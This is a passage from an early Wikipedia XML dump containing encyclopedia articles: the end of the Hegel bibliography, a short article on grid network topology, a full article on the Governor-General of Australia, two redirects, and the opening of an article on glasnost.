*[[Frederick C. Beiser]], ''Hegel''. New York: Routledge, 2005. (One of the best introductions in all aspects of Hegel's philosophy, deep, informed and comprehensible)
*[[R.G. Collingwood]], ''The Idea of History''. Oxford: Oxford University Press, 1946. ISBN 0192853066 (includes a powerful statement of the case that Hegel authorized an over-powering state, i.e. that his philosophy is a dangerous opponent of individual liberty).
*Laurence Dickey, ''Hegel: Religion, Economics, and the Politics of Spirit, 1770&amp;ndash;1807''. Cambridge and New York: Cambridge University Press, 1987. ISBN 0521330351 (Provides a fascinating account of how &quot;Hegel became Hegel&quot;, using the guiding hypothesis that Hegel &quot;was basically a theologian ''manqué''&quot;.)
*John N. Findlay, ''Hegel: A Re-examination''. London: Oxford University Press, 1958. ISBN 0195198794
*Michael Forster ''Hegel and Skepticism''.  Harvard University Press, 1989. ISBN 0674387074
*Michael Forster ''Hegel's Idea of a Phenomenology of Spirit''.  University of Chicago Press, 1998.  ISBN 0226257428 (Best commentary in English on Hegel's most important work)
*H.S. Harris ''Hegel: Phenomenology and System,'' a distillation of the author's magisterial two-volume ''Hegel's Ladder'', now the standard commentary on the Phenomenology.
*Justus Hartnack, ''An Introduction to Hegel's Logic.'' Indianapolis: Hackett, 1998. ISBN 0872204243
*[http://www.johnkadvany.com John Kadvany](2001). Imre Lakatos and the Guises of Reason. Durham and London: Duke University Press. ISBN 0822326590
*[[Alexandre Kojeve]], ''Introduction to the Reading of Hegel: Lectures on the Phenomenology of Spirit'', ISBN 0801492033 (Influential reading of Hegel in Europe)
*[[Herbert Marcuse]], ''Reason and Revolution: Hegel and the Rise of Social Theory.'' London, 1941 (An introduction to the philosophy of Hegel, devoted to debunking the myth that Hegel's work included ''in nuce'' the [[Fascist]] [[totalitarianism]] of [[Nazism|National Socialism]]; the negation of philosophy through [[historical materialism]])
*Terry P. Pinkard,  ''Hegel: a biography''. Cambridge: Cambridge University Press, 2000. ISBN 0521496799 (Lucid biography by a leading American Hegel scholar. It debunks popular misconceptions about Hegel's thought).
*Robert B. Pippin, ''Hegel's Idealism: the Satisfactions of Self-Consciousness''. Cambridge: Cambridge University Press, 1989. ISBN 0521379237 (interpretation that advocates the recognition of a stronger continuity between Hegel and Kant's idealism).
*Joachim Ritter, ''Hegel and the French Revolution''. MIT Press,1984.
*Jon Stewart, ed. ''The Hegel Myths and Legends''. Evanston, IL: Northwestern Univ. Press, 1996.
*Georg Lukács, ''The Young Hegel''. ISBN 0262120704
*Kenneth R. Westphal, ''Hegel's Epistemology: A Philosophical Introduction to the'' Phenomenology of Spirit. Indianapolis: Hackett, 2003. ISBN 0872206459
*[[Charles Taylor (philosopher)|Charles Taylor]], Hegel. Cambridge University Press, 1975. ISBN 0521291992 (A comprehensive study and singularly lucid exposition by the important Canadian philosopher of Hegel's thought and its impact on the central intellectual and spiritual issues of his own time and to some degree ours)
*Robert M. Wallace, ''Hegel's Philosophy of Reality, Freedom, and God.'' Cambridge: Cambridge University Press, 2005. ISBN 0521844843 (Argues that Hegel's major positions in metaphysics, epistemology, ethics, and the philosophy of mind and the will are, in fact, plausible and defensible, and defends them against influential criticisms by, among others, Feuerbach, Marx, Kierkegaard, Heidegger, and Charles Taylor).

==External links==
{{wikiquote}}
{{Commons|Georg Wilhelm Friedrich Hegel}}
* [http://wiki.hegel.net The new HegelWiki]
* [http://hegel.net/en/hegelbio.htm A superior biography of Hegel with graphics]
* [http://hegel.net Hegel.net] - resources available under the GNU FDL
* [http://wiki.hegel.net/index.php/Hegel Hegel.net] - wiki article on Hegel
* [http://www.marxists.org/reference/archive/hegel/index.htm Hegel by HyperText], reference archive on [[Marxists.org]].
* [http://hegel.net/en/links.htm Commented link list]
* [http://hegel.net/en/ml.htm Hegel mailing lists in the internet]
* [http://hegel-system.de/en/ Explanation of Hegel], mostly in German
* [http://www.kat.gr/kat/history/Mod/Th/Hegelianism.htm Discussion of the Hegelian tradition, including the Left and Right schism]
* [http://ca.geocities.com/jazzchul2000/glossary/hegelianism.htm An extensive bibliography]
* [http://www.hegel.org/ The Hegel Society of America]
* [http://plato.stanford.edu/entries/hegel/ Hegel in Stanford Encyclopedia of Philosophy]
* http://www.gwfhegel.org/
* [http://www.historyguide.org/intellect/hegel.html Hegel page in 'The History Guide']

==Hegel texts online==
* {{gutenberg author| id=Georg+Wilhelm+Friedrich+Hegel | name=Georg Wilhelm Friedrich Hegel}}
* [http://www.class.uidaho.edu/mickelsen/texts/Hegel%20-%20Philosophy%20of%20History.htm Philosophy of History Introduction]
*[http://libcom.org/library/philosophy-right-hegel Hegel's The Philosophy of Right]
*[http://libcom.org/library/philosophy-history-hegel Hegel's The Philosophy of History]

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[[io:Friedrich Hegel]]
[[it:Georg Wilhelm Friedrich Hegel]]
[[ja:ゲオルク・ヴィルヘルム・フリードリヒ・ヘーゲル]]
[[ko:게오르크 빌헬름 프리드리히 헤겔]]
[[ku:Georg Wilhelm Friedrich Hegel]]
[[la:Georgius Wilhemus Fridericus Hegel]]
[[lt:Georgas Vilhelmas Frydrichas Hegelis]]
[[nb:Georg Wilhelm Friedrich Hegel]]
[[nl:Georg Wilhelm Friedrich Hegel]]
[[pl:Georg Wilhelm Friedrich Hegel]]
[[pt:Georg Wilhelm Friedrich Hegel]]
[[ro:Georg Wilhelm Friedrich Hegel]]
[[ru:Гегель, Георг Вильгельм Фридрих]]
[[sk:Georg Wilhelm Friedrich Hegel]]
[[sr:Georg Vilhelm Fridrih Hegel]]
[[sv:Friedrich Hegel]]
[[tr:Georg Wilhelm Friedrich Hegel]]
[[uk:Geg3el' G3eorg3 Viil'gel'm Friidriih]]
[[zh:%E9%BB%91%E6%A0%BC%E5%B0%94]]</text>
    </revision>
  </page>
  <page>
    <title>Grid network</title>
    <id>12600</id>
    <revision>
      <id>32302213</id>
      <timestamp>2005-12-22T00:31:04Z</timestamp>
      <contributor>
        <username>Jake Nelson</username>
        <id>16897</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">A '''grid network''' is a kind of [[computer network]] consisting of a number of (computer) systems connected in a grid [[Network topology|topology]].

In a regular grid topology, each node in the network is connected with two neighbors along one or more [[dimensions]].  If the network is one-dimensional, and the chain of nodes is connected to form a circular loop, the resulting topology is known as a ring.  Network systems such as [[Fiber distributed data interface|FDDI]] use two counter-rotating [[token-passing]] rings to achieve high reliability and performance.  In general, when an ''n''-dimensional grid network is connected circularly in more than one dimension, the resulting network topology is a [[torus]], and the network is called &quot;toroidal&quot;.  When the number of nodes along each dimension of a toroidal network is 2, the resulting network is called
a [[hypercube]].

== See also ==
* [[Grid plan]] - street network

[[Category:Network topology]]</text>
    </revision>
  </page>
  <page>
    <title>Governor-General of Australia</title>
    <id>12601</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41607508</id>
      <timestamp>2006-02-28T13:47:58Z</timestamp>
      <contributor>
        <ip>202.94.75.143</ip>
      </contributor>
      <text xml:space="preserve">[[Image:ac.jeffery.jpg|thumb|250px|[[Michael Jeffery]], Governor-General of Australia]] 

The '''Governor-General of Australia''' is the representative in [[Australia]] of Australia's head of state, [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], [[Queen of Australia]], who lives in the [[United Kingdom]]. The function and role of the Governor-General is similar to that of the Queen in the United Kingdom and includes appointing ministers and judges, dissolving  Parliament, giving Royal Assent to legislation, issuing writs for elections and bestowing honours. The Governor-General is President of the [[Executive Council of Australia|Executive Council]] and nominally [[Commander-in-Chief#Democratic_monarchies.2C_Commonwealth|Commander-in-Chief]] of the Defence Forces. All these things are done and all these posts are held under the authority of the [[Australian Constitution]] and carried out in the name of the Queen.

The Constitution provides that a &quot;Governor-General appointed by the [[Queen of Australia|Queen]] shall be Her Majesty's representative in the [[Commonwealth]] .&amp;nbsp;.&amp;nbsp;.&quot; The Constitution grants the Governor-General a wide range of powers, but in practice he or she follows the conventions of the [[Westminster system]] and (with occasional and rare exceptions) acts only on the advice of the [[Prime Minister of Australia]] or other ministers. Even in the appointment of the Prime Minister, the Governor-General rarely exercises any discretion, usually appointing the leader of the largest party or coalition of parties in the [[Australian House of Representatives|House of Representatives]].

Beyond constitutional functions, the Governor-General has an important ceremonial role. He or she travels widely throughout Australia to open conferences, attend services and commemorations and generally &quot;provide encouragement to individuals and groups who are contributing to their [[Community|communities]].&quot; [http://www.gg.gov.au/textonly/role.html] When travelling abroad, the Governor-General is seen as the representative of Australia (not of the Queen of Australia), and is treated as a head of state.

The main official residence of the Governor-General is [[Government House, Canberra]], commonly known as Yarralumla. There is a second official residence, [[Admiralty House (Sydney)|Admiralty House]] in [[Sydney]]. When visiting the other states, the Governor-General is usually a guest at the Government Houses in the state capitals.

The incumbent Governor-General of Australia is [[Michael Jeffery]]. He is supported by a staff headed by the [[Official Secretary to the Governor-General of Australia|Official Secretary to the Governor-General]], currently [[Malcolm Hazell]], [[Royal Victorian Order|CVO]]. 

==Method of Appointment==
[[Image:Australia-GG-Badge.svg|thumb|right|Floral badge of the Governor-General of Australia]] 
The selection of a Governor-General is a matter for the [[Prime Minister of Australia]], who may or may not consult privately with staff or colleagues, or with the [[Queen of Australia]]. A decision is usually announced several months in advance of the commission's commencement. During these months, the person is referred to as a Governor-General-designate.

The Prime Minister, in making the selection, attempts to find a person who can broadly command the respect of the Australian people. Although they may have a public profile, the person is expected to be silent on political issues and, if applicable, resign any [[political party|party]] membership.

The actual appointment is made by the Queen, however this is a formality. In [[1930]], [[James Scullin]] established the right of the Australian Prime Minister to advise the monarch directly and the Queen is obliged to act upon such advice. After receiving his or her Commission, the Governor-General makes an [[Oath of Allegiance]] and an [[Oath of Office]] to the Queen and issues a Proclamation assuming office.

==Titles and Backgrounds of Governors-General==
[[Image:ac.isaacs.jpg|thumb|225px|Sir [[Isaac Isaacs]], the first Australian-born Governor General]] 

The British Governors-General (from [[1901]] to [[1965]]) were either [[peerage|peers]] or [[knights]]. Of the Australian occupants (from [[1931]] to [[1988]]), Casey was a peer and all the others were knights (although [[William McKell]]'s knighthood was granted during his term of office). All Governors-General down to Stephen (from [[1901]] to [[1989]]) were members of the [[Privy Council of the United Kingdom]] and thus had the additional title &quot;[[Right Honourable]].&quot; [[Bill Hayden]] was the only Governor-General to have no title at any time.

Of the nine Australians appointed since [[1965]] [[Richard Casey|Casey]], [[Paul Hasluck|Hasluck]] and [[Bill Hayden|Hayden]] were former federal [[parliamentarian|parliamentarians]]; [[John Kerr|Kerr]] was the Chief Justice of New South Wales; [[Ninian Stephen|Stephen]] and [[William Deane|Deane]] were appointed from the bench of the [[High Court of Australia|High Court]]; [[Zelman Cowen|Cowen]] was a [[Vice-Chancellor|vice-chancellor]] and constitutional lawyer; [[Peter Hollingworth|Hollingworth]] was an [[Anglican Church of Australia|Anglican]] [[Archbishop]] and [[Michael Jeffery|Jeffery]] is a retired [[Officer (armed forces)|military officer]].

Unlike [[Governor-General of Canada|Canada]] and [[Governor-General of New Zealand|New Zealand]], all Australian Governors-General have been male.  None has had an indigenous background, however Sir [[Isaac Isaacs]], the first Australian-born Governor-General, was Jewish, as was [[Zelman Cowen|Sir Zelman Cowen]]

==Tenure==

The constitution does not set a term of office, so a Governor-General may continue to hold office for any agreed length of time, however a typical term of office is five years. At the end of this period, a commission is occasionally extended by a short period.

The salary of Governor-General is regulated by the Constitution, which fixed an annual amount of 10,000 [[Australian_pound|pounds]], unless the parliament decides otherwise. The constitution states that the salary of the Governor-General may not be increased during his or her term of office.  From [[1974]] each new commission has resulted in a pay increase. Today, the law ensures the salary is higher than that for the [[Chief Justice of Australia|Chief Justice]] of the High Court, over a five year period. The annual salary during [[Michael Jeffery]]'s term is $365,000.

Three Governors-General have resigned their commission. The first Governor-General, [[John Hope, 1st Marquess of Linlithgow|Lord Hopetoun]], asked to be recalled to Britain in [[1903]] over a dispute about funding for the post. [[Sir John Kerr]] resigned in [[1977]] after being offered a [[United Nations]] post, which he did not take up. In [[2003]], [[Peter Hollingworth]] stood aside temporarily while certain allegations against him were resolved, and the [[letters patent]] of the office were amended to take account of this circumstance. He later resigned to &quot;protect the vice-regal office from persistent controversy.&quot;

In [[1961]], [[William Morrison, 1st Viscount Dunrossil|Lord Dunrossil]] became the first and, to date, only Governor-General to die in office. 

A Governor-General may be recalled or dismissed by the Queen before their term is complete. By convention, this may only be advised by the Prime Minister. The Prime Minister has the option of naming an immediate replacement or letting the vacancy provisions take effect.

As no Australian Governor-General has ever been dismissed, it is unclear how quickly the Queen would act on such advice. The [[Australian constitutional crisis of 1975|constitutional crisis of 1975]] prominently raised the possibility of the Prime Minister and Governor-General attempting to dismiss each other at the same time.

A vacancy will occur on the resignation, death, incapacity or absence from Australian territory of the Governor-General. In some cases the vacancy is temporary, as occurred when [[Peter Hollingworth]] stood aside.

Section 4 of the constitution allows the Queen to appoint an [[Administrator (Australia)|Administrator]] to carry out the role of Governor-General. By convention, the longest serving state governor holds a dormant commission, allowing an assumption of office to commence whenever a vacancy occurs.  In 1975, the Governor of Queensland, [[Colin Hannah|Sir Colin Hannah]], had his dormant commission revoked by the Prime Minister [[Gough Whitlam]] for making public political statements.

==Constitutional role and functions==
[[image:Flag_of_the_Governor_General_of_Australia.gif|thumb|right|350px|Flag of the Governor-General of Australia]]

Sections 61 and 68 of the Constitution provide that the Governor-General exercises certain powers as the Queen's representative. The limited form of this representation was explained in a [[1988]] Constitutional Commission report which concluded &quot;the Governor-General is in no sense a delegate of the Queen. The independence of the office is highlighted by changes which have been made in recent years to the Royal instruments relating to it&quot;.[http://www.samuelgriffith.org.au/papers/html/volume8/v8chap8.htm] 

Although the Governor-General and the Queen occasionally observe certain formalities, in practice the Governor-General carries out his constitutional responsibilities without reference to the Queen. In [[1975]], the Queen, through her Private Secretary, wrote that she &quot;has no part in the decisions which the Governor-General must take in accordance with the Constitution.&quot;  [http://www.aph.gov.au/house/pubs/PRACTICE/4Ch01.pdf] During the [[Australian constitutional crisis of 1975]], the Queen did not intervene on the basis that it was a matter &quot;clearly placed within the jurisdiction of the Governor-General&quot;[http://www.ozpolitics.info/topics/dismissal-queen.htm]. In [[2004]], Governor General [[Michael Jeffery]] said &quot;her Majesty is Australia's head of state but I am her representative and to all intents and purposes I carry out the full role.&quot; [http://www.theage.com.au/news/Gerard-Henderson/Queen-Camilla-of-Australia/2005/02/14/1108229927463.html]

===Role in Parliament===

The Constitution describes the Parliament of the Commonwealth as consisting of the Queen, the [[Australian Senate|Senate]] and the [[Australian House of Representatives|House of Representatives]]. Section 5 states that &quot;the Governor-General may appoint such times for holding the sessions of the Parliament ... prorogue the Parliament [and] dissolve the House of Representatives.&quot; These provisions make it clear that the Queen's role in the parliament is in name only and the actual responsibility belongs the Governor-General. Such decisions are usually taken on the advice of the Prime Minister.

The Governor-General has a ceremonial role in swearing in and accepting the resignations of Members of Parliament. He or she appoints a deputy, to whom members make an [[oath of allegiance]] before they take their seats. On the day parliament opens, the Governor-General makes a speech, entirely written by the government, explaining the government's proposed legislative program.

The most important power is found in section 58: &quot;When a proposed law passed by both Houses of Parliament is presented to the Governor-General for the Queen's assent, he shall declare ... that he assents in the Queen's name.&quot; This makes any proposed law effective.

Sections 58 to 60 allow the Governor-General to withhold assent, suggest changes, refer to the Queen or proclaim that the Queen has annulled the legislation. Convention prevents the Governor-General from using these powers in all realistic circumstances. (see Reserve Powers below).  However on occasion, when the Queen has been scheduled to visit Australia, the Governor-General has as a courtesy withheld Royal Assent to an Act so that the Queen might personally sign it into law.

===Role in Executive Government===

At the start of Chapter 2 on executive government, the Constitution says &quot;The executive power of the Commonwealth is vested in the Queen and is exercisable by the Governor-General as the Queen's representative&quot;. The Governor-General presides over an [[Executive Council of Australia|Federal Executive Council]]. The Prime Minister is appointed to this Council and advises as to which parliamentarians shall become [[political minister|ministers]] and [[Parliamentary_Secretary|parliamentary secretaries]]. 

In the constitution, the words &quot;Governor-General-in-council&quot; mean the Governor-General acting with the advice of the Council. Powers exercised in council, which are not reserve powers, include:
* establishing government departments
* appointing federal judges, and
* appointing ambassadors and high commissioners.

All such actions are taken on the advice of ministers.

Section 68, says &quot;command-in-chief of naval and military forces ... is vested in the Governor-General as the Queen's representative&quot;. In practice, this role is ceremonial, with actual authority in the hands of the Defence Minister and the Chief of the Defence Force ([http://www.defence.gov.au/cdf/role.cfm CDF]).

In an administrative sense, the office of Governor-General is regulated by the [http://scaleplus.law.gov.au/html/pasteact/0/284/top.htm Governor-General Act 1974].

===Reserve powers===

[[Image:ac.kerr.jpg|thumb|200px|Sir John Kerr]] 

In the [[United Kingdom]], the [[reserve powers]] of the Crown are not explicitly stated in constitutional enactments and are the province of convention, but in Australia, the powers are explicitly given to the Governor-General in the Constitution but it is their use that is the subject of convention.

The reserve powers are:
* The power to dissolve (or refuse to dissolve) the House of Representatives. (Section 5 of the Constitution)
* The power to dissolve Parliament on the occasion of a deadlock. (Section 57)
* The power to withhold assent to Bills. (Section 58)
* The power to appoint (or dismiss) Ministers. (Section 64)

These powers are generally and routinely exercised on Ministerial advice, but the Governor-General retains the ability to act independently in certain circumstances, as governed by convention. It is generally held that the Governor-General may use his powers without ministerial advice in the following situations:

* if an election results in a Parliament in which no party has a majority, the Governor-General may select the Prime Minister.
* if a Prime Minister loses the support of the House of Representatives, the Governor-General may appoint a new Prime Minister.
* if a Prime Minister advises a dissolution of the House of Representatives, the Governor-General may refuse that request, or request further reasons why it should be granted. It is worth noting that convention does not give the Governor-General the ability to dissolve either the House of Representatives or the Senate without advice.

The use of the reserve powers may arise in the following circumstances:

* if a Prime Minister advises a dissolution of Parliament on the occasion of a deadlock between the Houses, the Governor-General may refuse that request.
* if the Governor-General is not satisfied with a legislative Bill presented to him, he or she may refuse assent.
* if a Prime Minister resigns after losing a vote of confidence, the Governor-General may select a new replacement contrary to the advice of the outgoing Prime Minister.
* if a Prime Minister is unable to obtain supply and refuses to resign or advise a dissolution, the Governor-General may dismiss him or her and appoint a new Prime Minister.

The above is not an exhaustive list, and new situations may arise. The most notable use of the reserve powers occurred in November [[1975]]. On this occasion Governor-General, Sir John Kerr, dismissed the government of [[Gough Whitlam]] when the [[Australian Senate|Senate]] withheld supply to the government, even though Whitlam retained the confidence of the [[Australian House of Representatives|House of Representatives]]. Kerr determined that he had both the right and the duty to dismiss the government and commission a new government that would recommend a dissolution of the Parliament. Despite the apparent endorsement of his action by the electorate at the [[1975]] elections, the events surrounding the dismissal remain extremely controversial.

==Ceremonial role==
As well as the formal constitutional role, the Governor-General has a ceremonial role, though the extent and nature of this role has depended on the expectations of the time, the individual in office at the time and their reputation in the wider community. Governors-general generally become patrons of various charitable institutions, present honours and awards, host functions for various groups of people including ambassadors to and from other countries, and travel widely throughout Australia - replicating the actions of the monarch in the United Kingdom, or those of a ceremonial head of state. Sir [[William Deane]] described one of his functions as being &quot;Chief Mourner&quot; at prominent funerals.  

This role can become controversial, however, if the Governor-General becomes unpopular with sections of the community. The public role adopted by Sir John Kerr was curtailed somewhat after the constitutional crisis of 1975; Sir William Deane's public statements on political issues produced some hostility towards him among conservatives; and some charities disassociated themselves from Dr Hollingworth after the issue of his management of sex abuse cases during his time as Archbishop of Brisbane became a matter of controversy.

==History==

The office of Australian Governor-General was conceived during the debates and conventions leading up to [[Federation of Australia|federation]]. The first Governor-General was a previous [[Governor of Victoria|Victorian Governor]], [[John Hope, 1st Marquess of Linlithgow|John Hope, the Earl of Hopetoun]]. He was appointed in July [[1900]], returning to Australia shortly before the inauguration of the Commonwealth of Australia on [[1 January]] [[1901]]. His first act was to appoint the inaugural Prime Minister, [[Edmund Barton]], since the first federal elections were not held until April. 
[[Image:Australian GG Historical.gif|thumb|225px|Flag of the Governor-General until 1936]]

Early Governors-General were British and were appointed by the King on the recommendation of the [[Secretary_of_State_for_the_Colonies|Colonial Office]]. The Australian government was merely asked, as a matter of courtesy, whether they approved of the choice or not. Governors-General were expected to exercise a supervisory role over the Australian Government in the manner of a colonial Governor. In a very real sense, they represented not only the monarch but also the British Government. They had the right to &quot;reserve&quot; legislation passed by the [[Parliament of Australia]]: in other words, to ask the [[Colonial Office]] in [[London]] for an opinion before giving the [[Royal Assent]]. This power was used several times.

During the [[1920s]] the importance of the position declined. As a result of decisions made at the Imperial Conference of [[1926]], the tenure of a Governor-General was dependent only on advice from the Australian [[Prime Minister of Australia|Prime Minister]]. The Governor-General ceased to be the diplomatic representative of the British Government and the British right of supervision over Australian affairs was abolished. 

Also, in [[1929]], the Australian Prime Minister [[James Scullin]] established the right of a [[Dominion]] Prime Minister to advise the Monarch directly on the appointment of a Governor-General, by insisting that his choice (Sir [[Isaac Isaacs]], an Australian) prevail over the recommendation of the British government.  The convention was gradually established throughout the Commonwealth that the Governor-General (or Governor General) is a citizen of the country concerned, and is appointed on the advice of the government of that country, with no input from the British government. 

Thus, in [[1931]], this transformation was concluded with the appointment of the first British [[High Commissioner]] and the first Australian Governor-General, [[Isaac Isaacs|Sir Isaac Isaacs]]. The latter appointment was advised by the [[Australian Labor Party|Labor]] Prime Minister, [[James Scullin]], despite the misgivings of [[George V of the United Kingdom|King George V]]. The appointment was denounced by the opposition [[Nationalist Party of Australia]] as being &quot;practically republican&quot;. After Scullin's defeat in [[1931]], non-Labor governments continued to appoint British Governors-General. In [[1947]] Labor appointed a second Australian Governor-General, [[William McKell|Sir William McKell]].

In [[1965]], the conservative [[Robert Menzies|Menzies]] government appointed an Australian, [[Richard Casey|Lord Casey]], and the position has since been held only by Australians. Suggestions during the early 1980s that the [[Charles, Prince of Wales|Prince of Wales]] might become the Governor-General came to nothing.

==List of Governors-General==

{| border=&quot;1&quot; cellpadding=&quot;2&quot; style=&quot;border-collapse:collapse;&quot;
!Term
!Title
|-
| [[1 January]] [[1901]] to [[9 January]] [[1903]]
| The Right Hon. [[John Hope, 1st Marquess of Linlithgow|John Adrian Louis Hope, 7th Earl of Hopetoun]] (from 1902, The Most Hon. Marquess of Linlithgow) &lt;small&gt; KT, GCMG, GCVO, PC&lt;/small&gt; 
|-
| [[9 January]] [[1903]] to [[21 January]] [[1904]]
| The Right Hon. [[Hallam Tennyson, 2nd Baron Tennyson]], &lt;small&gt; GCMG, PC&lt;/small&gt;
|-
| [[21 January]] [[1904]] to [[9 September]] [[1908]]
| The Right Hon. [[Henry Northcote, 1st Baron Northcote]], &lt;small&gt; GCMG, GCIE, CB, PC&lt;/small&gt;
|-
| [[9 September]] [[1908]] to [[31 July]] [[1911]]
| The Right Hon. [[William Ward, 2nd Earl of Dudley]], &lt;small&gt;GCB, GCMG, GCVO, TD, PC&lt;/small&gt;
|-
| [[31 July]] [[1911]] to [[18 May]] [[1914]]
| The Right Hon. [[Thomas Denman, 3rd Baron Denman]], &lt;small&gt;GCMG, KCVO, PC, JP&lt;/small&gt;
|-
| [[18 May]] [[1914]] to [[6 October]] [[1920]]
| The Right Hon. [[Ronald Munro-Ferguson|Sir Ronald Munro-Ferguson]], &lt;small&gt;GCMG, DL&lt;/small&gt;
|-
| [[6 October]] [[1920]] to [[8 October]] [[1925]]
| The Right Hon. [[Henry Forster, 1st Baron Forster]], &lt;small&gt; GCMG, PC, DL&lt;/small&gt;
|-
|[[8 October]] [[1925]] to [[21 January]] [[1931]]
|The Right Hon. [[John Baird, 1st Baron Stonehaven]], &lt;small&gt;GCMG, DSO, PC, JP, DL&lt;/small&gt; 
|-
|[[21 January]] [[1931]] to [[23 January]] [[1936]]
|The Right Hon. [[Isaac Isaacs|Sir Isaac Alfred Isaacs]], &lt;small&gt;GCB, GCMG&lt;/small&gt; 
|-
|[[23 January]] [[1936]] to [[30 January]] [[1945]]
|Brigadier-General the Right Hon. [[Alexander Hore-Ruthven, 1st Baron Gowrie]], &lt;small&gt;VC, GCMG, CB, DSO, PC&lt;/small&gt;
|-
|[[30 January]] [[1945]] to [[11 March]] [[1947]]
|His Royal Highness [[Prince Henry, Duke of Gloucester|The Prince Henry William Frederick Albert, Duke of Gloucester]], &lt;small&gt;KG, KT, KP, GCB, GCMG, GCVO&lt;/small&gt;
|-
|[[11 March]] [[1947]] to [[8 May]] [[1953]]
|The Right Hon. [[William McKell|Sir William John McKell]], &lt;small&gt;GCMG&lt;/small&gt;
|-
|[[8 May]] [[1953]] to [[2 February]] [[1960]]
|Field Marshal [[William Slim|Sir William Joseph Slim]], &lt;small&gt;KG, GCB, GCMG, GCVO, GBE, DSO, MC&lt;/small&gt;
|-
|[[2 February]] [[1960]] to [[3 February]] [[1961]]
|The Right Hon. [[William Morrison, 1st Viscount Dunrossil]], &lt;small&gt;GCMG, MC, QC, PC&lt;/small&gt;
|-
|[[3 August]] [[1961]] to [[7 May]] [[1965]]
|The Right Hon. [[William Sidney, 1st Viscount De L'Isle]], &lt;small&gt;VC, KC, GCMG, GCVO, PC&lt;/small&gt;
|-
|[[7 May]] [[1965]] to [[30 April]] [[1969]]
|The Right Hon. [[Richard Casey|Richard Gardiner Casey, Baron Casey]], &lt;small&gt;KG, GCMG, CH, DSO, MC, PC&lt;/small&gt;
|-
|[[30 April]] [[1969]] to [[11 July]] [[1974]]
|The Right Hon. [[Paul Hasluck|Sir Paul Meernaa Caedwalla Hasluck]],  &lt;small&gt;KG, GCMG, GCVO&lt;/small&gt;
|-
|[[11 July]] [[1974]] to [[8 December]] [[1977]]
|The Right Hon. [[John Kerr|Sir John Robert Kerr]], &lt;small&gt;AK, GCMG, GCVO, QC &lt;/small&gt;
|-
|[[8 December]] [[1977]] to [[29 July]] [[1982]]
|The Right Hon. [[Zelman Cowen|Sir Zelman Cowen]], &lt;small&gt;AK, GCMG, GCVO, QC&lt;/small&gt;
|-
|[[29 July]] [[1982]] to [[16 February]] [[1989]]
|The Right Hon. [[Ninian Stephen|Sir Ninian Stephen]], &lt;small&gt;KG, AK, GCMG, GCVO, KBE, QC&lt;/small&gt;
|-
|[[16 February]] [[1989]] to [[16 February]] [[1996]]
|The Hon. [[Bill Hayden|William George Hayden]], &lt;small&gt;AC&lt;/small&gt; &lt;/tr&gt;
|-
|[[16 February]] [[1996]] to [[29 June]] [[2001]]
|The Hon. [[William Deane|Sir William Patrick Deane]], &lt;small&gt;AC, KBE&lt;/small&gt;
|-
|[[29 June]] [[2001]] to [[28 May]] [[2003]]
|The Right Rev. Dr [[Peter Hollingworth]], &lt;small&gt;AC, OBE&lt;/small&gt;
|-
|[[11 August]] [[2003]] to present
|Major-General [[Michael Jeffery]], &lt;small&gt;AC, CVO, MC &lt;/small&gt; (retired)
|}

==See also==

*[[:Category:Governors-General of Australia]]
*[[History of Australia]]
*[[Constitutional history of Australia]]
*[[Governors of the Australian states]]
*[[British Empire]]
*[[Governor-General]] (links to other countries which have Governors-General)

==Further reading==

*Christopher Cunneen, ''Kings' Men: Australia's Governors-General from Hopetoun to Isaacs'', Allen and Unwin, 1983
*Bill Hayden, ''Hayden: An Autobiography'', Angus &amp; Robertson, Sydney, 1996 (pp515, 519, 548)

==External links==

* [http://www.gg.gov.au The Office of the Governor-General]
* [http://www.aph.gov.au/library/pubs/rn/1997-98/98rn25.htm The use of the reserve powers]

{{Politics of Australia}}
{{GG}}
[[Category:Lists of office-holders|Australia, Governor-General]]
[[Category:Governors-General of Australia|*]]
[[Category:Westminster System]]

[[de:Liste der Generalgouverneure Australiens]]
[[es:Gobernador General de Australia]]
[[pl:Gubernatorzy generalni Australii]]
[[zh:澳大利亚总督]]</text>
    </revision>
  </page>
  <page>
    <title>Greek Literature</title>
    <id>12604</id>
    <revision>
      <id>15910277</id>
      <timestamp>2002-05-20T21:51:03Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Greek literature]]</comment>
      <text xml:space="preserve">#redirect [[Greek literature]]</text>
    </revision>
  </page>
  <page>
    <title>Go/Strategy and Tactics</title>
    <id>12606</id>
    <revision>
      <id>15910279</id>
      <timestamp>2002-04-13T16:11:52Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>moving to non-subspace page</comment>
      <text xml:space="preserve">#REDIRECT [[Go strategy and tactics]]</text>
    </revision>
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  <page>
    <title>Glasnost</title>
    <id>12607</id>
    <revision>
      <id>38487172</id>
      <timestamp>2006-02-06T17:51:03Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: no, ru</comment>
      <text xml:space="preserve">{{russianterm|'''гласность'''|glasnost|openness}}
'''Glasnost''' ([[Russian (spelling)|Russian]]: гла́сность, {{Audio|ru-glasnost.ogg|listen}}) was one of [[Mikhail Gorbachev]]'s policies introduced to the [[Soviet Union]] in 1985.  The term is a Russian word for &quot;publicity&quot;, &quot;openness&quot;.

==Objectives==
Gorbachev's goal in undertaking glasnost was to pressure conservatives within the [[CPSU|Party]] who opposed his policies of economic restructuring, or [[perestroika]]. Gorbachev hoped that through different ranges of openness, debate and participation, the Soviet people would support and participate in [[perestroika]].

==Areas of concern==
While in the West the notion of &quot;glasnost&quot; is associated with [[freedom of speech]], the main goal of this policy was to make the country's management transparent and open to debate, to change the former situation when major political and management decisions were made by a narrow circle of [[apparatchik]]s or within the [[Politburo]] and were beyond criticism. Through reviewing the past or current mistakes being made, it was hoped that the Soviet people would back reforms such as [[perestroika]].

Glasnost gave new freedoms to the people, such as a greater freedom of speech &amp;mdash; a radical change, as control of speech and suppression of government criticism had previously been a central part of the Soviet system. There was also a greater degree of freedom within the media. In the late 1980's, the Soviet government came under increased criticism, as did Leninist ideology (which Gorbachev had attempted to preserve as the foundation for reform), and members of the Soviet population were more outspoken in their view that the Soviet government had become a failure.  Glasnost did indeed provide freedom of expression, far beyond what Gorbachev had intended, and changed citizens' view towards the government, which finally led to the collapse of the Soviet Union.



==Effects==

